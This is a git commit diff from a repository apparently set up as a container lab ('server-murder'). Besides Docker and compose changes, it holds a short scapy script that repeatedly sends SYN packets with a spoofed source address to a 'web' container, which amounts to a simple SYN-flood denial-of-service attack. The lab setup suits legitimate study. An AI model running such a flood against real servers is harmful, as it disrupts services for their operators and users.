Merge branch 'main' of https://git.leizour.fr/coding-toasters/server-murder
This commit is contained in:
commit
a38d84d8fe
5 changed files with 30 additions and 10 deletions
|
@ -1,5 +1,9 @@
|
|||
FROM python:alphine
|
||||
FROM python:alpine
|
||||
WORKDIR /app
|
||||
COPY . .
|
||||
RUN apk add \
|
||||
gcc \
|
||||
libpcap-dev \
|
||||
&& pip install -r requirements.txt
|
||||
CMD ["python3","app.py"]
|
||||
|
||||
|
|
|
@ -3,3 +3,4 @@ from scapy.all import *
|
|||
for i in range(512,2048):
|
||||
pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP()
|
||||
send(pkt, loop=1)
|
||||
|
||||
|
|
1
client/requirements.txt
Normal file
1
client/requirements.txt
Normal file
|
@ -0,0 +1 @@
|
|||
scapy==2.6.1
|
23
docker-compose.yml
Normal file
23
docker-compose.yml
Normal file
|
@ -0,0 +1,23 @@
|
|||
services:
|
||||
web:
|
||||
build:
|
||||
context: server
|
||||
dockerfile: Dockerfile
|
||||
container_name: web
|
||||
ports:
|
||||
- 80:80
|
||||
networks:
|
||||
- network
|
||||
|
||||
client:
|
||||
build:
|
||||
context: client
|
||||
dockerfile: Dockerfile
|
||||
container_name: client
|
||||
networks:
|
||||
- network
|
||||
|
||||
networks:
|
||||
network:
|
||||
driver: bridge
|
||||
|
|
@ -1,9 +0,0 @@
|
|||
services:
|
||||
web:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
container_name: web
|
||||
ports:
|
||||
- 80:80
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue